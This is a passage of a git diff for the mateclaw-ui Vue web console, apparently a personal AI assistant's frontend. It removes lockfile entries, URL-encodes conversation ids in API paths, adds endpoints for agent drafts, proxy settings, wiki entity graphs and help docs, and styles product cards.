"@rollup/rollup-openbsd-x64": "4.60.0", - "@rollup/rollup-openharmony-arm64": "4.60.0", - "@rollup/rollup-win32-arm64-msvc": "4.60.0", - "@rollup/rollup-win32-ia32-msvc": "4.60.0", - "@rollup/rollup-win32-x64-gnu": "4.60.0", - "@rollup/rollup-win32-x64-msvc": "4.60.0", - "fsevents": "~2.3.2" - } - }, - "node_modules/semver": { - "version": "7.7.4", - "resolved": "https://registry.npmmirror.com/semver/-/semver-7.7.4.tgz", - "integrity": "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==", - "dev": true, - "license": "ISC", - "bin": { - "semver": "bin/semver.js" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/shebang-command": { - "version": "2.0.0", - "resolved": "https://registry.npmmirror.com/shebang-command/-/shebang-command-2.0.0.tgz", - "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", - "dev": true, - "license": "MIT", - "dependencies": { - "shebang-regex": "^3.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/shebang-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmmirror.com/shebang-regex/-/shebang-regex-3.0.0.tgz", - "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - } - }, - "node_modules/source-map-js": { - "version": "1.2.1", - "resolved": "https://registry.npmmirror.com/source-map-js/-/source-map-js-1.2.1.tgz", - "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", - "license": "BSD-3-Clause", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/speakingurl": { - "version": "14.0.1", - "resolved": "https://registry.npmmirror.com/speakingurl/-/speakingurl-14.0.1.tgz", - "integrity": "sha512-1POYv7uv2gXoyGFpBCmpDVSNV74IfsWlDW216UPjbWufNf+bSU6GdbDsxdcxtfwb4xlI3yxzOTKClUosxARYrQ==", - "license": "BSD-3-Clause", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/strip-json-comments": { - "version": "3.1.1", - "resolved": "https://registry.npmmirror.com/strip-json-comments/-/strip-json-comments-3.1.1.tgz", - "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/superjson": { - "version": "2.2.6", - "resolved": "https://registry.npmmirror.com/superjson/-/superjson-2.2.6.tgz", - "integrity": "sha512-H+ue8Zo4vJmV2nRjpx86P35lzwDT3nItnIsocgumgr0hHMQ+ZGq5vrERg9kJBo5AWGmxZDhzDo+WVIJqkB0cGA==", - "license": "MIT", - "dependencies": { - "copy-anything": "^4" - }, - "engines": { - "node": ">=16" - } - }, - "node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "license": "MIT", - "dependencies": { - "has-flag": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/tailwindcss": { - "version": "4.2.2", - "resolved": "https://registry.npmmirror.com/tailwindcss/-/tailwindcss-4.2.2.tgz", - "integrity": "sha512-KWBIxs1Xb6NoLdMVqhbhgwZf2PGBpPEiwOqgI4pFIYbNTfBXiKYyWoTsXgBQ9WFg/OlhnvHaY+AEpW7wSmFo2Q==", - "dev": true, - "license": "MIT" - }, - "node_modules/tapable": { - "version": "2.3.0", - "resolved": "https://registry.npmmirror.com/tapable/-/tapable-2.3.0.tgz", - "integrity": "sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/webpack" - } - }, - "node_modules/tinyglobby": { - "version": "0.2.15", - "resolved": "https://registry.npmmirror.com/tinyglobby/-/tinyglobby-0.2.15.tgz", - "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "fdir": "^6.5.0", - "picomatch": "^4.0.3" - }, - "engines": { - "node": ">=12.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/SuperchupuDev" - } - }, - "node_modules/type-check": { - "version": "0.4.0", - "resolved": "https://registry.npmmirror.com/type-check/-/type-check-0.4.0.tgz", - "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", - "dev": true, - "license": "MIT", - "dependencies": { - "prelude-ls": "^1.2.1" - }, - "engines": { - "node": ">= 0.8.0" - } - }, - "node_modules/type-fest": { - "version": "0.20.2", - "resolved": "https://registry.npmmirror.com/type-fest/-/type-fest-0.20.2.tgz", - "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", - "dev": true, - "license": "(MIT OR CC0-1.0)", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/typescript": { - "version": "5.7.3", - "resolved": "https://registry.npmmirror.com/typescript/-/typescript-5.7.3.tgz", - "integrity": "sha512-84MVSjMEHP+FQRPy3pX9sTVV/INIex71s9TL2Gm5FG/WG1SqXeKyZ0k7/blY/4FdOzI12CBy1vGc4og/eus0fw==", - "devOptional": true, - "license": "Apache-2.0", - "bin": { - "tsc": "bin/tsc", - "tsserver": "bin/tsserver" - }, - "engines": { - "node": ">=14.17" - } - }, - "node_modules/update-browserslist-db": { - "version": "1.2.3", - "resolved": "https://registry.npmmirror.com/update-browserslist-db/-/update-browserslist-db-1.2.3.tgz", - "integrity": "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/browserslist" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/browserslist" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "escalade": "^3.2.0", - "picocolors": "^1.1.1" - }, - "bin": { - "update-browserslist-db": "cli.js" - }, - "peerDependencies": { - "browserslist": ">= 4.21.0" - } - }, - "node_modules/uri-js": { - "version": "4.4.1", - "resolved": "https://registry.npmmirror.com/uri-js/-/uri-js-4.4.1.tgz", - "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "punycode": "^2.1.0" - } - }, - "node_modules/util-deprecate": { - "version": "1.0.2", - "resolved": "https://registry.npmmirror.com/util-deprecate/-/util-deprecate-1.0.2.tgz", - "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", - "dev": true, - "license": "MIT" - }, - "node_modules/vite": { - "version": "6.4.1", - "resolved": "https://registry.npmmirror.com/vite/-/vite-6.4.1.tgz", - "integrity": "sha512-+Oxm7q9hDoLMyJOYfUYBuHQo+dkAloi33apOPP56pzj+vsdJDzr+j1NISE5pyaAuKL4A3UD34qd0lx5+kfKp2g==", - "dev": true, - "license": "MIT", - "dependencies": { - "esbuild": "^0.25.0", - "fdir": "^6.4.4", - "picomatch": "^4.0.2", - "postcss": "^8.5.3", - "rollup": "^4.34.9", - "tinyglobby": "^0.2.13" - }, - "bin": { - "vite": "bin/vite.js" - }, - "engines": { - "node": "^18.0.0 || ^20.0.0 || >=22.0.0" - }, - "funding": { - "url": "https://github.com/vitejs/vite?sponsor=1" - }, - "optionalDependencies": { - "fsevents": "~2.3.3" - }, - "peerDependencies": { - "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0", - "jiti": ">=1.21.0", - "less": "*", - "lightningcss": "^1.21.0", - "sass": "*", - "sass-embedded": "*", - "stylus": "*", - "sugarss": "*", - "terser": "^5.16.0", - "tsx": "^4.8.1", - "yaml": "^2.4.2" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - }, - "jiti": { - "optional": true - }, - "less": { - "optional": true - }, - "lightningcss": { - "optional": true - }, - "sass": { - "optional": true - }, - "sass-embedded": { - "optional": true - }, - "stylus": { - "optional": true - }, - "sugarss": { - "optional": true - }, - "terser": { - "optional": true - }, - "tsx": { - "optional": true - }, - "yaml": { - "optional": true - } - } - }, - "node_modules/vscode-uri": { - "version": "3.1.0", - "resolved": "https://registry.npmmirror.com/vscode-uri/-/vscode-uri-3.1.0.tgz", - "integrity": "sha512-/BpdSx+yCQGnCvecbyXdxHDkuk55/G3xwnC0GqY4gmQ3j+A+g8kzzgB4Nk/SINjqn6+waqw3EgbVF2QKExkRxQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/vue": { - "version": "3.5.30", - "resolved": "https://registry.npmmirror.com/vue/-/vue-3.5.30.tgz", - "integrity": "sha512-hTHLc6VNZyzzEH/l7PFGjpcTvUgiaPK5mdLkbjrTeWSRcEfxFrv56g/XckIYlE9ckuobsdwqd5mk2g1sBkMewg==", - "license": "MIT", - "dependencies": { - "@vue/compiler-dom": "3.5.30", - "@vue/compiler-sfc": "3.5.30", - "@vue/runtime-dom": "3.5.30", - "@vue/server-renderer": "3.5.30", - "@vue/shared": "3.5.30" - }, - "peerDependencies": { - "typescript": "*" - }, - "peerDependenciesMeta": { - "typescript": { - "optional": true - } - } - }, - "node_modules/vue-component-type-helpers": { - "version": "3.2.6", - "resolved": "https://registry.npmmirror.com/vue-component-type-helpers/-/vue-component-type-helpers-3.2.6.tgz", - "integrity": "sha512-O02tnvIfOQVmnvoWwuSydwRoHjZVt8UEBR+2p4rT35p8GAy5VTlWP8o5qXfJR/GWCN0nVZoYWsVUvx2jwgdBmQ==", - "license": "MIT" - }, - "node_modules/vue-eslint-parser": { - "version": "9.4.3", - "resolved": "https://registry.npmmirror.com/vue-eslint-parser/-/vue-eslint-parser-9.4.3.tgz", - "integrity": "sha512-2rYRLWlIpaiN8xbPiDyXZXRgLGOtWxERV7ND5fFAv5qo1D2N9Fu9MNajBNc6o13lZ+24DAWCkQCvj4klgmcITg==", - "dev": true, - "license": "MIT", - "dependencies": { - "debug": "^4.3.4", - "eslint-scope": "^7.1.1", - "eslint-visitor-keys": "^3.3.0", - "espree": "^9.3.1", - "esquery": "^1.4.0", - "lodash": "^4.17.21", - "semver": "^7.3.6" - }, - "engines": { - "node": "^14.17.0 || >=16.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/mysticatea" - }, - "peerDependencies": { - "eslint": ">=6.0.0" - } - }, - "node_modules/vue-eslint-parser/node_modules/eslint-scope": { - "version": "7.2.2", - "resolved": "https://registry.npmmirror.com/eslint-scope/-/eslint-scope-7.2.2.tgz", - "integrity": "sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "esrecurse": "^4.3.0", - "estraverse": "^5.2.0" - }, - "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/vue-eslint-parser/node_modules/espree": { - "version": "9.6.1", - "resolved": "https://registry.npmmirror.com/espree/-/espree-9.6.1.tgz", - "integrity": "sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==", - "dev": true, - "license": "BSD-2-Clause", - "dependencies": { - "acorn": "^8.9.0", - "acorn-jsx": "^5.3.2", - "eslint-visitor-keys": "^3.4.1" - }, - "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/vue-i18n": { - "version": "9.14.4", - "resolved": "https://registry.npmmirror.com/vue-i18n/-/vue-i18n-9.14.4.tgz", - "integrity": "sha512-B934C8yUyWLT0EMud3DySrwSUJI7ZNiWYsEEz2gknTthqKiG4dzWE/WSa8AzCuSQzwBEv4HtG1jZDhgzPfWSKQ==", - "license": "MIT", - "dependencies": { - "@intlify/core-base": "9.14.4", - "@intlify/shared": "9.14.4", - "@vue/devtools-api": "^6.5.0" - }, - "engines": { - "node": ">= 16" - }, - "funding": { - "url": "https://github.com/sponsors/kazupon" - }, - "peerDependencies": { - "vue": "^3.0.0" - } - }, - "node_modules/vue-router": { - "version": "4.6.4", - "resolved": "https://registry.npmmirror.com/vue-router/-/vue-router-4.6.4.tgz", - "integrity": "sha512-Hz9q5sa33Yhduglwz6g9skT8OBPii+4bFn88w6J+J4MfEo4KRRpmiNG/hHHkdbRFlLBOqxN8y8gf2Fb0MTUgVg==", - "license": "MIT", - "dependencies": { - "@vue/devtools-api": "^6.6.4" - }, - "funding": { - "url": "https://github.com/sponsors/posva" - }, - "peerDependencies": { - "vue": "^3.5.0" - } - }, - "node_modules/vue-tsc": { - "version": "2.2.12", - "resolved": "https://registry.npmmirror.com/vue-tsc/-/vue-tsc-2.2.12.tgz", - "integrity": "sha512-P7OP77b2h/Pmk+lZdJ0YWs+5tJ6J2+uOQPo7tlBnY44QqQSPYvS0qVT4wqDJgwrZaLe47etJLLQRFia71GYITw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@volar/typescript": "2.4.15", - "@vue/language-core": "2.2.12" - }, - "bin": { - "vue-tsc": "bin/vue-tsc.js" - }, - "peerDependencies": { - "typescript": ">=5.0.0" - } - }, - "node_modules/which": { - "version": "2.0.2", - "resolved": "https://registry.npmmirror.com/which/-/which-2.0.2.tgz", - "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", - "dev": true, - "license": "ISC", - "dependencies": { - "isexe": "^2.0.0" - }, - "bin": { - "node-which": "bin/node-which" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/word-wrap": { - "version": "1.2.5", - "resolved": "https://registry.npmmirror.com/word-wrap/-/word-wrap-1.2.5.tgz", - "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/xml-name-validator": { - "version": "4.0.0", - "resolved": "https://registry.npmmirror.com/xml-name-validator/-/xml-name-validator-4.0.0.tgz", - "integrity": "sha512-ICP2e+jsHvAj2E2lIHxa5tjXRlKDJo4IdvPvCXbXQGdzSfmSpNVyIKMvoZHjDY9DP0zV17iI85o90vRFXNccRw==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=12" - } - }, - "node_modules/yocto-queue": { - "version": "0.1.0", - "resolved": "https://registry.npmmirror.com/yocto-queue/-/yocto-queue-0.1.0.tgz", - "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - } - } -} diff --git a/mateclaw-ui/package.json b/mateclaw-ui/package.json index 6b03914f..14ada119 100644 --- a/mateclaw-ui/package.json +++ b/mateclaw-ui/package.json @@ -1,6 +1,6 @@ { "name": "mateclaw-ui", - "version": "1.5.0", + "version": "1.6.0", "private": true, "type": "module", "description": "MateClaw - Personal AI Assistant Web Console", diff --git a/mateclaw-ui/src/App.vue b/mateclaw-ui/src/App.vue index 708a4b0e..d294bad5 100644 --- a/mateclaw-ui/src/App.vue +++ b/mateclaw-ui/src/App.vue @@ -14,6 +14,7 @@ import en from 'element-plus/es/locale/lang/en' import zhCn from 'element-plus/es/locale/lang/zh-cn' import { currentLocale } from '@/i18n' import { useThemeStore } from '@/stores/useThemeStore' +import { useSystemSettingsStore } from '@/stores/useSystemSettingsStore' import { useGlobalWikilinkClick } from '@/composables/useGlobalWikilinkClick' import { useGlobalFileDownloadClick } from '@/composables/useGlobalFileDownloadClick' import McConfirmHost from '@/components/common/McConfirmHost.vue' @@ -21,6 +22,11 @@ import McConfirmHost from '@/components/common/McConfirmHost.vue' // Initialize theme — applies .dark class to immediately useThemeStore() +// Load runtime settings (streamEnabled / debugMode) so the chat flow honors +// them. localStorage cache makes them available instantly; this refreshes +// from the backend in the background. +useSystemSettingsStore().load() + // Global click delegator for [[wikilinks]] rendered into chat / docs / // memory surfaces. WikiPageViewer's own postprocess handles in-wiki // clicks (those carry data-slug); this catches everything else. diff --git a/mateclaw-ui/src/api/index.ts b/mateclaw-ui/src/api/index.ts index 12239f0c..59348033 100644 --- a/mateclaw-ui/src/api/index.ts +++ b/mateclaw-ui/src/api/index.ts @@ -9,6 +9,17 @@ import type { GrantScope, } from '@/types' +/** + * URL-encode a conversation id before interpolating it into a path. Some ids + * contain characters that the browser interprets as URL structural — notably + * `#`, which webchat emits as a hash marker when the visitorId+sessionId pair + * exceeds the conversation_id column width (see WebChatController#deriveConversationId: + * `webchat::#`). Without encoding, everything after the + * `#` is treated as a fragment and never reaches the server, producing 405 on + * `@DeleteMapping` fallbacks and 403 from the owner check. + */ +const encId = (id: string) => encodeURIComponent(id) + // Axios 实例 export const http = axios.create({ baseURL: '/api/v1', @@ -109,6 +120,8 @@ export const agentApi = { list: (params?: { enabled?: boolean }) => http.get('/agents', { params }), get: (id: string | number) => http.get(`/agents/${id}`), create: (data: any) => http.post('/agents', data), + /** Generate a reviewable employee draft from a one-sentence requirement (no persistence). */ + generate: (requirement: string) => http.post('/agents/generate', { requirement }), update: (id: string | number, data: any) => http.put(`/agents/${id}`, data), delete: (id: string | number) => http.delete(`/agents/${id}`), chat: (id: string | number, data: any) => http.post(`/agents/${id}/chat`, data), @@ -154,9 +167,9 @@ export const chatApi = { }) }, stop: (conversationId: string) => - http.post<{ stopped: boolean }>(`/chat/${conversationId}/stop`), + http.post<{ stopped: boolean }>(`/chat/${encId(conversationId)}/stop`), getPendingApprovals: (conversationId: string) => - http.get(`/chat/${conversationId}/pending-approvals`), + http.get(`/chat/${encId(conversationId)}/pending-approvals`), } // ==================== Conversation ==================== @@ -170,17 +183,17 @@ export const conversationApi = { page: (params: { page?: number; size?: number; keyword?: string }) => http.get('/conversations/page', { params }), listMessages: (conversationId: string, params?: { beforeId?: number; limit?: number }) => - http.get(`/conversations/${conversationId}/messages`, { params }), + http.get(`/conversations/${encId(conversationId)}/messages`, { params }), getStatus: (conversationId: string) => - http.get(`/conversations/${conversationId}/status`), + http.get(`/conversations/${encId(conversationId)}/status`), delete: (conversationId: string) => - http.delete(`/conversations/${conversationId}`), + http.delete(`/conversations/${encId(conversationId)}`), clearMessages: (conversationId: string) => - http.delete(`/conversations/${conversationId}/messages`), + http.delete(`/conversations/${encId(conversationId)}/messages`), rename: (conversationId: string, title: string) => - http.put(`/conversations/${conversationId}/title`, { title }), + http.put(`/conversations/${encId(conversationId)}/title`, { title }), setPinned: (conversationId: string, pinned: boolean) => - http.put(`/conversations/${conversationId}/pin`, { pinned }), + http.put(`/conversations/${encId(conversationId)}/pin`, { pinned }), /** * Pin this conversation to a specific (provider, model). Closes issue * #183 — lets the admin UI switch model for IM-channel conversations @@ -188,7 +201,7 @@ export const conversationApi = { * not just for the Web channel. Both params required and non-empty. */ setModel: (conversationId: string, modelProvider: string, modelName: string) => - http.put(`/conversations/${conversationId}/model`, { modelProvider, modelName }), + http.put(`/conversations/${encId(conversationId)}/model`, { modelProvider, modelName }), batchDelete: (conversationIds: string[]) => http.post('/conversations/batch-delete', { conversationIds }), } @@ -509,6 +522,8 @@ export const mcpApi = { // ==================== Plan ==================== export const planApi = { listByAgent: (agentId: string) => http.get(`/plans?agentId=${agentId}`), + /** Cross-agent recent plans for the team / swimlane board. */ + listAll: (limit = 100) => http.get('/plans', { params: { limit } }), get: (id: string | number) => http.get(`/plans/${id}`), } @@ -644,6 +659,14 @@ export const settingsApi = { http.put('/settings/sidecar', data), } +// ==================== Global outbound proxy ==================== +export const proxyApi = { + get: () => http.get('/settings/proxy'), + update: (data: { enabled: boolean; url: string; nonProxyHosts?: string }) => + http.put('/settings/proxy', data), + test: (url: string) => http.post('/settings/proxy/test', { url }), +} + // ==================== Workspace ==================== const encodeFilePath = (filename: string) => filename.split('/').map(encodeURIComponent).join('/') @@ -838,6 +861,16 @@ export const wikiApi = { getPageCitations: (kbId: number | string, pageId: number | string) => http.get(`/wiki/kb/${kbId}/pages/${pageId}/citations`), + // Entity-level knowledge graph + listEntities: (kbId: number | string, params?: { type?: string; limit?: number }) => + http.get(`/wiki/kb/${kbId}/entities`, { params }), + getEntityGraph: (kbId: number | string, limit = 150) => + http.get(`/wiki/kb/${kbId}/entity-graph`, { params: { limit } }), + getEntityEgo: (kbId: number | string, entityId: number | string, limit = 50) => + http.get(`/wiki/kb/${kbId}/entities/${entityId}/graph`, { params: { limit } }), + extractEntities: (kbId: number | string, force = false) => + http.post(`/wiki/kb/${kbId}/entities/extract`, null, { params: { force } }), + // RFC-030: Jobs getWikiJobs: (kbId: number, rawId: number) => http.get(`/wiki/kb/${kbId}/jobs`, { params: { rawId } }), @@ -871,6 +904,7 @@ export const wikiApi = { outputTarget?: 'none' | 'page' outputFormat?: 'markdown' | 'json' outputSchema?: string | null + targetPageType?: string | null }) => http.post('/wiki/transformations', data), updateTransformation: (id: number, data: { @@ -883,6 +917,7 @@ export const wikiApi = { outputTarget?: 'none' | 'page' outputFormat?: 'markdown' | 'json' outputSchema?: string | null + targetPageType?: string | null }) => http.put(`/wiki/transformations/${id}`, data), deleteTransformation: (id: number) => @@ -913,6 +948,8 @@ export const wikiApi = { http.post(`/wiki/knowledge-bases/${kbId}/page-type-profile/validate`, { config }), resetPageTypeProfile: (kbId: string | number) => http.post(`/wiki/knowledge-bases/${kbId}/page-type-profile/reset-default`), + reclassifyKB: (kbId: string | number, modelId?: string | number | null) => + http.post(`/wiki/knowledge-bases/${kbId}/reclassify`, modelId != null ? { modelId } : {}), // ---- Agent pageType permissions (REQ-3) ---- listPageTypePermissions: (kbId: string | number, agentId: string | number) => @@ -934,6 +971,8 @@ export const wikiApi = { http.get(`/wiki/knowledge-bases/${kbId}/source-watcher`), triggerSourceWatcher: (kbId: string | number) => http.post(`/wiki/knowledge-bases/${kbId}/source-watcher/scan`), + setWatcherEnabled: (kbId: string | number, enabled: boolean) => + http.put(`/wiki/knowledge-bases/${kbId}/source-watcher/enabled`, { enabled }), // ---- Pipelines (REQ-5) ---- listPipelines: (kbId: string | number) => @@ -980,6 +1019,12 @@ export const agentBindingApi = { http.get(`/agents/${agentId}/provider-preferences`), setProviderPreferences: (agentId: string | number, providerIds: string[]) => http.put(`/agents/${agentId}/provider-preferences`, providerIds), + // Per-agent knowledge base access scope. Empty array = unrestricted + // (agent can reach every KB in its workspace). IDs are kept as strings + // for the Snowflake-precision contract. + listKbs: (agentId: string | number) => http.get(`/agents/${agentId}/kbs`), + setKbs: (agentId: string | number, kbIds: (string | number)[]) => + http.put(`/agents/${agentId}/kbs`, kbIds), } // ==================== Dashboard ==================== @@ -1345,7 +1390,7 @@ export const goalApi = { }) => http.post('/goals', data), findActive: (conversationId: string) => - http.get(`/goals/by-conversation/${conversationId}`), + http.get(`/goals/by-conversation/${encId(conversationId)}`), get: (id: string) => http.get(`/goals/${id}`), @@ -1406,3 +1451,26 @@ export const approvalApi = { limit?: number }) => http.get('/approval/resolutions', { params }), } + +// ==================== 内置帮助文档 ==================== + +export interface DocMeta { + slug: string + title: string +} + +export interface DocContent { + slug: string + title: string + content: string +} + +export const docsApi = { + /** 列出某语言下的全部帮助文档(slug + 标题)。 */ + list: (lang: string) => + http.get('/docs', { params: { lang } }), + + /** 读取单篇文档正文(已剥离 frontmatter)。 */ + content: (lang: string, slug: string) => + http.get('/docs/content', { params: { lang, slug } }), +} diff --git a/mateclaw-ui/src/assets/main.css b/mateclaw-ui/src/assets/main.css index c96ec57d..072bb1d6 100644 --- a/mateclaw-ui/src/assets/main.css +++ b/mateclaw-ui/src/assets/main.css @@ -616,6 +616,168 @@ html.dark body::before { font-size: 13px; } +/* Streaming placeholder for echarts/mermaid blocks (shown until the fenced + source finishes streaming, then replaced by the real chart). */ +.markdown-body .chart-loading { + display: flex; + align-items: center; + justify-content: center; + gap: 8px; + margin: 14px 0; + min-height: 120px; + border-radius: 12px; + background: var(--mc-bg-elevated); + border: 1px solid var(--mc-border-light); +} +.markdown-body .chart-loading__dot { + width: 9px; + height: 9px; + border-radius: 50%; + background: var(--mc-border, #cbd5e1); + animation: mc-product-pulse 1.4s ease-in-out infinite; +} +.markdown-body .chart-loading__dot:nth-child(2) { animation-delay: 0.2s; } +.markdown-body .chart-loading__dot:nth-child(3) { animation-delay: 0.4s; } + +/* ================================================================ + Product cards (from ```product-cards fenced blocks — shopping / + price-comparison results rendered as a clickable card grid) + ================================================================ */ +.markdown-body .product-cards { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(190px, 1fr)); + gap: 12px; + margin: 14px 0; +} +.markdown-body .product-card { + display: flex; + flex-direction: column; + border: 1px solid var(--mc-border-light); + border-radius: 12px; + overflow: hidden; + background: var(--mc-bg-elevated); + text-decoration: none; + color: inherit; + transition: border-color 0.15s ease, box-shadow 0.15s ease, transform 0.15s ease; +} +.markdown-body a.product-card:hover { + border-color: var(--mc-primary, #4f46e5); + box-shadow: 0 6px 18px rgba(0, 0, 0, 0.1); + transform: translateY(-2px); +} +/* The whole card is an , so the global `.markdown-body a:hover` underline + would streak across every line of card text. Suppress it — hover feedback + comes from the lift/shadow and the name turning primary instead. */ +.markdown-body a.product-card, +.markdown-body a.product-card:hover, +.markdown-body a.product-card:hover * { + text-decoration: none; +} +.markdown-body a.product-card:hover .product-card__name { + color: var(--mc-primary, #d96d46); +} +.markdown-body .product-card__media { + width: 100%; + aspect-ratio: 1 / 1; + background: var(--mc-bg-subtle, #f1f5f9); + overflow: hidden; +} +.markdown-body .product-card__media img { + width: 100%; + height: 100%; + object-fit: contain; + display: block; +} +.markdown-body .product-card__body { + display: flex; + flex-direction: column; + gap: 4px; + padding: 10px 12px 12px; +} +.markdown-body .product-card__name { + font-size: 13px; + line-height: 1.4; + color: var(--mc-text-primary); + display: -webkit-box; + -webkit-line-clamp: 2; + -webkit-box-orient: vertical; + overflow: hidden; +} +.markdown-body .product-card__price { + display: flex; + align-items: baseline; + gap: 6px; + margin-top: 2px; +} +.markdown-body .product-card__price-now { + font-size: 17px; + font-weight: 700; + color: var(--mc-danger, #e11d48); +} +.markdown-body .product-card__price-was { + font-size: 12px; + color: var(--mc-text-tertiary); + text-decoration: line-through; +} +.markdown-body .product-card__meta { + font-size: 12px; + color: var(--mc-text-secondary); +} +.markdown-body .product-card__low { + font-size: 11px; + color: var(--mc-text-tertiary); +} +.markdown-body .product-card__advice { + font-size: 12px; + line-height: 1.45; + color: var(--mc-text-secondary); + margin-top: 2px; +} +.markdown-body .product-card__buy { + display: inline-flex; + align-items: center; + justify-content: center; + gap: 4px; + margin-top: 8px; + padding: 7px 12px; + border-radius: 8px; + background: var(--mc-primary, #d96d46); + color: #fff; + font-size: 13px; + font-weight: 600; + line-height: 1; + white-space: nowrap; + transition: background 0.15s ease; +} +.markdown-body a.product-card:hover .product-card__buy { + background: var(--mc-primary-hover, #bb4f27); +} +.markdown-body .product-card__buy-arrow { + transition: transform 0.15s ease; +} +.markdown-body a.product-card:hover .product-card__buy-arrow { + transform: translateX(3px); +} +/* Streaming placeholder while the product-cards JSON is still incomplete. */ +.markdown-body .product-cards--loading { + display: flex; + gap: 6px; + padding: 16px 4px; +} +.markdown-body .product-cards__dot { + width: 8px; + height: 8px; + border-radius: 50%; + background: var(--mc-border, #cbd5e1); + animation: mc-product-pulse 1.4s ease-in-out infinite; +} +.markdown-body .product-cards__dot:nth-child(2) { animation-delay: 0.2s; } +.markdown-body .product-cards__dot:nth-child(3) { animation-delay: 0.4s; } +@keyframes mc-product-pulse { + 0%, 80%, 100% { opacity: 0.3; } + 40% { opacity: 1; } +} + /* ================================================================ Shared page shell ================================================================ */ diff --git a/mateclaw-ui/src/components/agent/WizardCapabilityPicker.vue b/mateclaw-ui/src/components/agent/WizardCapabilityPicker.vue new file mode 100644 